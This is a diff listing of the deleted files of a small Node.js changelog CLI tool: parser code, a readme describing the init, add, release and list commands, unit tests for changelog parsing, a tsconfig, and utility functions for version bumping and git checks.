|
-
if (!lastVersionLog) {
|
|
107
|
-
throw new Error(`Parse error: unexpected string on line ${line+1}`);
|
|
108
|
-
}
|
|
109
|
-
// If we got here, this is either a loose preface or postface line.
|
|
110
|
-
if (lastBullet) {
|
|
111
|
-
lastVersionLog.postface = lastVersionLog.postface ? lastVersionLog.postface + ' ' + line : line;
|
|
112
|
-
} else {
|
|
113
|
-
lastVersionLog.preface = lastVersionLog.preface ? lastVersionLog.preface + ' ' + line : line;
|
|
114
|
-
}
|
|
115
|
-
|
|
116
|
-
|
|
117
|
-
}
|
|
118
|
-
|
|
119
|
-
return changelog;
|
|
120
|
-
|
|
121
|
-
|
|
122
|
-
}
|
package/readme.md
DELETED
|
@@ -1,99 +0,0 @@
|
|
|
1
|
-
Changelog tool
|
|
2
|
-
==============
|
|
3
|
-
|
|
4
|
-
This repository contains a simple tool for reading and manipulating changelog
|
|
5
|
-
files.
|
|
6
|
-
|
|
7
|
-
This tool currently expects to work with a file named 'changelog.md' in the
|
|
8
|
-
current working directory. This is a markdown file that looks like this:
|
|
9
|
-
|
|
10
|
-
```
|
|
11
|
-
Changelog
|
|
12
|
-
=========
|
|
13
|
-
|
|
14
|
-
0.4.0 (????-??-??)
|
|
15
|
-
------------------
|
|
16
|
-
|
|
17
|
-
* Feature A
|
|
18
|
-
* Bugfix 3
|
|
19
|
-
|
|
20
|
-
0.3.0 (2023-02-08)
|
|
21
|
-
------------------
|
|
22
|
-
|
|
23
|
-
* First public release!
|
|
24
|
-
```
|
|
25
|
-
|
|
26
|
-
Questionmarks for the date indicate an unreleased version.
|
|
27
|
-
|
|
28
|
-
Installation
|
|
29
|
-
------------
|
|
30
|
-
|
|
31
|
-
```sh
|
|
32
|
-
npm install changelog-tool --global
|
|
33
|
-
```
|
|
34
|
-
|
|
35
|
-
CLI
|
|
36
|
-
---
|
|
37
|
-
|
|
38
|
-
To tool can be used programmatically and with the CLI. The CLI has the
|
|
39
|
-
following commands:
|
|
40
|
-
|
|
41
|
-
```
|
|
42
|
-
changelog init - Create a new, empty npx changelog.
|
|
43
|
-
changelog add -m [message] - Adds a new line to the npx changelog.
|
|
44
|
-
changelog release - Marks the current npx changelog as released.
|
|
45
|
-
changelog show - Show the last npx changelog.
|
|
46
|
-
changelog show [version] - Show the npx changelog of a specific version.
|
|
47
|
-
changelog list - List all versions in the npx changelog.
|
|
48
|
-
changelog format - Reformats the npx changelog in the standard format.
|
|
49
|
-
```
|
|
50
|
-
|
|
51
|
-
### 'add' command
|
|
52
|
-
|
|
53
|
-
The add comment lets you add a new message at the bottom of the last unreleased
|
|
54
|
-
version.
|
|
55
|
-
|
|
56
|
-
To use it, just run:
|
|
57
|
-
|
|
58
|
-
```
|
|
59
|
-
changelog add -m "Bug fix"
|
|
60
|
-
```
|
|
61
|
-
|
|
62
|
-
If there is no unreleased version, it will create a new section and increase
|
|
63
|
-
the version number.
|
|
64
|
-
|
|
65
|
-
If the current change should result in a new major or minor version number, you
|
|
66
|
-
can use the following arguments.
|
|
67
|
-
|
|
68
|
-
```
|
|
69
|
-
changelog add --minor -m "New feature"
|
|
70
|
-
changelog add --major -m "Backwards compatibility break"
|
|
71
|
-
```
|
|
72
|
-
|
|
73
|
-
These settings will automatically adjust the version string of the most recent
|
|
74
|
-
unreleased version.
|
|
75
|
-
|
|
76
|
-
### 'release' command
|
|
77
|
-
|
|
78
|
-
The release command will look for a recent unreleased version in the changelog
|
|
79
|
-
(where the date is marked `????-??-??`) and change it to the current date:
|
|
80
|
-
|
|
81
|
-
```
|
|
82
|
-
changelog release
|
|
83
|
-
```
|
|
84
|
-
|
|
85
|
-
If the tool detects a `package.json` file in the current directory, it will
|
|
86
|
-
also call:
|
|
87
|
-
|
|
88
|
-
```
|
|
89
|
-
npm version [version] --no-git-tag-version
|
|
90
|
-
```
|
|
91
|
-
|
|
92
|
-
This command adjust the `version` field in `package.json` to match the latest
|
|
93
|
-
changelog version.
|
|
94
|
-
|
|
95
|
-
If the tool detects if this is a git directory, it will also:
|
|
96
|
-
|
|
97
|
-
* Ensure that the working directory is clean.
|
|
98
|
-
* Commit the changes.
|
|
99
|
-
* Create a tag with `git tag v[version]`.
|
package/test/parse.mjs
DELETED
|
@@ -1,140 +0,0 @@
|
|
|
1
|
-
// @ts-check
|
|
2
|
-
import { test } from 'node:test';
|
|
3
|
-
import { parse } from '../parse.mjs';
|
|
4
|
-
import * as assert from 'node:assert';
|
|
5
|
-
|
|
6
|
-
test('Parsing changelog metadata', async () => {
|
|
7
|
-
|
|
8
|
-
const input = `Time for a change
|
|
9
|
-
=========
|
|
10
|
-
|
|
11
|
-
0.2.0 (????-??-??)
|
|
12
|
-
------------------
|
|
13
|
-
|
|
14
|
-
* Implemented the 'list' command.
|
|
15
|
-
* Added testing framework.
|
|
16
|
-
|
|
17
|
-
0.1.0 (2023-02-08)
|
|
18
|
-
------------------
|
|
19
|
-
|
|
20
|
-
* Implemented the 'help' and 'init' commands.
|
|
21
|
-
*
|
|
22
|
-
`;
|
|
23
|
-
|
|
24
|
-
const result = await parse(input);
|
|
25
|
-
|
|
26
|
-
assert.equal('Time for a change', result.title);
|
|
27
|
-
assert.equal(2, result.versions.length);
|
|
28
|
-
|
|
29
|
-
assert.equal(null, result.versions[0].date);
|
|
30
|
-
assert.equal('0.2.0', result.versions[0].version);
|
|
31
|
-
assert.equal('2023-02-08', result.versions[1].date);
|
|
32
|
-
assert.equal('0.1.0', result.versions[1].version);
|
|
33
|
-
|
|
34
|
-
});
|
|
35
|
-
|
|
36
|
-
test('Parsing changelog entries', async () => {
|
|
37
|
-
|
|
38
|
-
const input = `Time for a change
|
|
39
|
-
=========
|
|
40
|
-
|
|
41
|
-
0.2.0 (????-??-??)
|
|
42
|
-
------------------
|
|
43
|
-
|
|
44
|
-
* Implemented the 'list' command.
|
|
45
|
-
* Added testing framework.
|
|
46
|
-
|
|
47
|
-
0.1.0 (2023-02-08)
|
|
48
|
-
------------------
|
|
49
|
-
|
|
50
|
-
* Implemented the 'help' and 'init' commands.
|
|
51
|
-
*
|
|
52
|
-
`;
|
|
53
|
-
|
|
54
|
-
const result = await parse(input);
|
|
55
|
-
|
|
56
|
-
const latest = result.get('0.2.0');
|
|
57
|
-
assert.equal(2, latest.items.length);
|
|
58
|
-
assert.equal('Implemented the \'list\' command.', latest.items[0].message);
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
});
|
|
62
|
-
|
|
63
|
-
test('Preface and postface', async () => {
|
|
64
|
-
|
|
65
|
-
const input = `Time for a change
|
|
66
|
-
=========
|
|
67
|
-
|
|
68
|
-
0.2.0 (????-??-??)
|
|
69
|
-
------------------
|
|
70
|
-
|
|
71
|
-
WOW another release. How good is that?
|
|
72
|
-
Here's another line.
|
|
73
|
-
|
|
74
|
-
* Implemented the 'list' command.
|
|
75
|
-
* Added testing framework.
|
|
76
|
-
|
|
77
|
-
Well, that's all folks.
|
|
78
|
-
|
|
79
|
-
0.1.0 (2023-02-08)
|
|
80
|
-
------------------
|
|
81
|
-
|
|
82
|
-
* Implemented the 'help' and 'init' commands.
|
|
83
|
-
*
|
|
84
|
-
`;
|
|
85
|
-
|
|
86
|
-
const result = await parse(input);
|
|
87
|
-
|
|
88
|
-
const latest = result.get('0.2.0');
|
|
89
|
-
|
|
90
|
-
assert.equal('WOW another release. How good is that? Here\'s another line.', latest.preface);
|
|
91
|
-
assert.equal('Well, that\'s all folks.', latest.postface);
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
});
|
|
95
|
-
|
|
96
|
-
test('Link references', async() => {
|
|
97
|
-
|
|
98
|
-
|
|
99
|
-
const input = `Changesss
|
|
100
|
-
=========
|
|
101
|
-
|
|
102
|
-
0.2.0 (????-??-??)
|
|
103
|
-
------------------
|
|
104
|
-
|
|
105
|
-
WOW another release. How good is that?
|
|
106
|
-
Here's another line.
|
|
107
|
-
|
|
108
|
-
* Implemented the 'list' command.
|
|
109
|
-
* Added testing framework. See [the blog post][1] for more information.
|
|
110
|
-
|
|
111
|
-
0.1.0 (2023-02-08)
|
|
112
|
-
------------------
|
|
113
|
-
|
|
114
|
-
* Implemented the ['help'][2] and 'init' commands.
|
|
115
|
-
|
|
116
|
-
[1]: https://evertpot.com/ "My Blog"
|
|
117
|
-
[2]: https://indieweb.social/@evert "My Mastodon account, but it's split
|
|
118
|
-
over two lines"
|
|
119
|
-
[blabla]: http://example
|
|
120
|
-
`;
|
|
121
|
-
|
|
122
|
-
const result = await parse(input);
|
|
123
|
-
|
|
124
|
-
assert.deepEqual({
|
|
125
|
-
name: '1',
|
|
126
|
-
href: 'https://evertpot.com/',
|
|
127
|
-
title: 'My Blog',
|
|
128
|
-
}, result.links[0]);
|
|
129
|
-
assert.deepEqual({
|
|
130
|
-
name: '2',
|
|
131
|
-
href: 'https://indieweb.social/@evert',
|
|
132
|
-
title: 'My Mastodon account, but it\'s split over two lines',
|
|
133
|
-
}, result.links[1]);
|
|
134
|
-
assert.deepEqual({
|
|
135
|
-
name: 'blabla',
|
|
136
|
-
href: 'http://example',
|
|
137
|
-
title: null,
|
|
138
|
-
}, result.links[2]);
|
|
139
|
-
|
|
140
|
-
});
|
package/tsconfig.json
DELETED
|
@@ -1,16 +0,0 @@
|
|
|
1
|
-
{
|
|
2
|
-
"compilerOptions": {
|
|
3
|
-
"target": "es2022",
|
|
4
|
-
"module": "esnext",
|
|
5
|
-
"rootDir": "./",
|
|
6
|
-
"allowJs": true,
|
|
7
|
-
"checkJs": true,
|
|
8
|
-
|
|
9
|
-
"moduleResolution": "node",
|
|
10
|
-
|
|
11
|
-
"noEmit": true,
|
|
12
|
-
"strict": true,
|
|
13
|
-
"useUnknownInCatchVariables": false,
|
|
14
|
-
|
|
15
|
-
}
|
|
16
|
-
}
|
package/util.mjs
DELETED
|
@@ -1,153 +0,0 @@
|
|
|
1
|
-
// @ts-check
|
|
2
|
-
import { execSync } from 'node:child_process';
|
|
3
|
-
import * as fs from 'node:fs/promises';
|
|
4
|
-
import * as path from 'node:path';
|
|
5
|
-
|
|
6
|
-
/**
|
|
7
|
-
* Checks if a file exists
|
|
8
|
-
*
|
|
9
|
-
* @param {string} filename
|
|
10
|
-
* @returns {Promise<boolean>}
|
|
11
|
-
*/
|
|
12
|
-
export async function exists(filename) {
|
|
13
|
-
|
|
14
|
-
try {
|
|
15
|
-
await fs.stat(filename)
|
|
16
|
-
} catch (err) {
|
|
17
|
-
if (err.code === 'ENOENT') return false;
|
|
18
|
-
throw err;
|
|
19
|
-
}
|
|
20
|
-
return true;
|
|
21
|
-
|
|
22
|
-
}
|
|
23
|
-
|
|
24
|
-
/**
|
|
25
|
-
* Returns the version property of the package.json file in the current
|
|
26
|
-
* directory.
|
|
27
|
-
*
|
|
28
|
-
* @returns {Promise<string>}
|
|
29
|
-
*/
|
|
30
|
-
export async function readPackageVersion() {
|
|
31
|
-
|
|
32
|
-
if (!await exists('package.json')) {
|
|
33
|
-
throw new Error('package.json does not exists in the current directory');
|
|
34
|
-
}
|
|
35
|
-
|
|
36
|
-
const json = JSON.parse(
|
|
37
|
-
await fs.readFile(
|
|
38
|
-
'package.json',
|
|
39
|
-
'utf-8'
|
|
40
|
-
)
|
|
41
|
-
);
|
|
42
|
-
|
|
43
|
-
return json.version;
|
|
44
|
-
|
|
45
|
-
}
|
|
46
|
-
|
|
47
|
-
/**
|
|
48
|
-
* Wraps a line over multiple lines.
|
|
49
|
-
*
|
|
50
|
-
* @param {string} input
|
|
51
|
-
* @param {number} secondLineOffset
|
|
52
|
-
* @param {number} lineLength
|
|
53
|
-
*/
|
|
54
|
-
export function wrap(input, secondLineOffset = 0, lineLength = 79) {
|
|
55
|
-
|
|
56
|
-
const words = input.split(' ');
|
|
57
|
-
const lines = [];
|
|
58
|
-
for(const word of words) {
|
|
59
|
-
|
|
60
|
-
if (!lines.length) {
|
|
61
|
-
// First line
|
|
62
|
-
lines.push(word);
|
|
63
|
-
continue;
|
|
64
|
-
}
|
|
65
|
-
|
|
66
|
-
const maxLength = lines.length > 1 ? lineLength - secondLineOffset : lineLength;
|
|
67
|
-
|
|
68
|
-
const potentialNewLine = [lines.at(-1),word].join(' ');
|
|
69
|
-
if (potentialNewLine.length>maxLength) {
|
|
70
|
-
lines.push(word);
|
|
71
|
-
} else {
|
|
72
|
-
lines[lines.length-1] = potentialNewLine;
|
|
73
|
-
}
|
|
74
|
-
|
|
75
|
-
}
|
|
76
|
-
return lines.join('\n' + ' '.repeat(secondLineOffset));
|
|
77
|
-
|
|
78
|
-
}
|
|
79
|
-
|
|
80
|
-
/**
|
|
81
|
-
* @param {string} prevVersion
|
|
82
|
-
* @param {'patch'|'minor'|'major'} changeType
|
|
83
|
-
* @returns {string}
|
|
84
|
-
*/
|
|
85
|
-
export function calculateNextVersion(prevVersion, changeType = 'patch') {
|
|
86
|
-
|
|
87
|
-
// This function only currently understands 1 format, but this may change
|
|
88
|
-
// in the future.
|
|
89
|
-
if (!prevVersion.match(/^[0-9]+\.[0-9]+\.[0-9]+$/)) {
|
|
90
|
-
throw new Error(`Could not automatically determine the next ${changeType} version from ${prevVersion}. You might want to request a new feature to support this`);
|
|
91
|
-
}
|
|
92
|
-
|
|
93
|
-
const parts = prevVersion.split('.').map( part => +part);
|
|
94
|
-
|
|
95
|
-
switch(changeType) {
|
|
96
|
-
case 'major' :
|
|
97
|
-
parts[0]++;
|
|
98
|
-
parts[1]=0;
|
|
99
|
-
parts[2]=0;
|
|
100
|
-
break;
|
|
101
|
-
case 'minor' :
|
|
102
|
-
parts[1]++;
|
|
103
|
-
parts[2]=0;
|
|
104
|
-
break;
|
|
105
|
-
case 'patch' :
|
|
106
|
-
parts[2]++;
|
|
107
|
-
break;
|
|
108
|
-
}
|
|
109
|
-
|
|
110
|
-
return parts.join('.');
|
|
111
|
-
|
|
112
|
-
}
|
|
113
|
-
|
|
114
|
-
/**
|
|
115
|
-
* Returns true if we're in a git-powered directory
|
|
116
|
-
*
|
|
117
|
-
* @returns {Promise<boolean>}
|
|
118
|
-
*/
|
|
119
|
-
export async function isGit() {
|
|
120
|
-
|
|
121
|
-
let currentPath = process.cwd();
|
|
122
|
-
while(currentPath!=='/') {
|
|
123
|
-
if (await exists(path.join(currentPath,'.git'))) {
|
|
124
|
-
return true;
|
|
125
|
-
}
|
|
126
|
-
currentPath = path.dirname(currentPath);
|
|
127
|
-
}
|
|
128
|
-
return false;
|
|
129
|
-
|
|
130
|
-
}
|
|
131
|
-
|
|
132
|
-
/**
|
|
133
|
-
* @param {string} command
|
|
134
|
-
* @returns {string}
|
|
135
|
-
*/
|
|
136
|
-
export function runCommand(command) {
|
|
137
|
-
|
|
138
|
-
process.stderr.write(command + '\n');
|
|
139
|
-
return execSync(command).toString('utf-8');
|
|
140
|
-
|
|
141
|
-
}
|
|
142
|
-
|
|
143
|
-
/**
|
|
144
|
-
* Returns true if the current working directory is clean.
|
|
145
|
-
*
|
|
146
|
-
* @returns {boolean}
|
|
147
|
-
*/
|
|
148
|
-
export function isGitClean() {
|
|
149
|
-
|
|
150
|
-
const result = execSync('git status --porcelain=v1').toString('utf-8');
|
|
151
|
-
return result.trim().length === 0;
|
|
152
|
-
|
|
153
|
-
}
|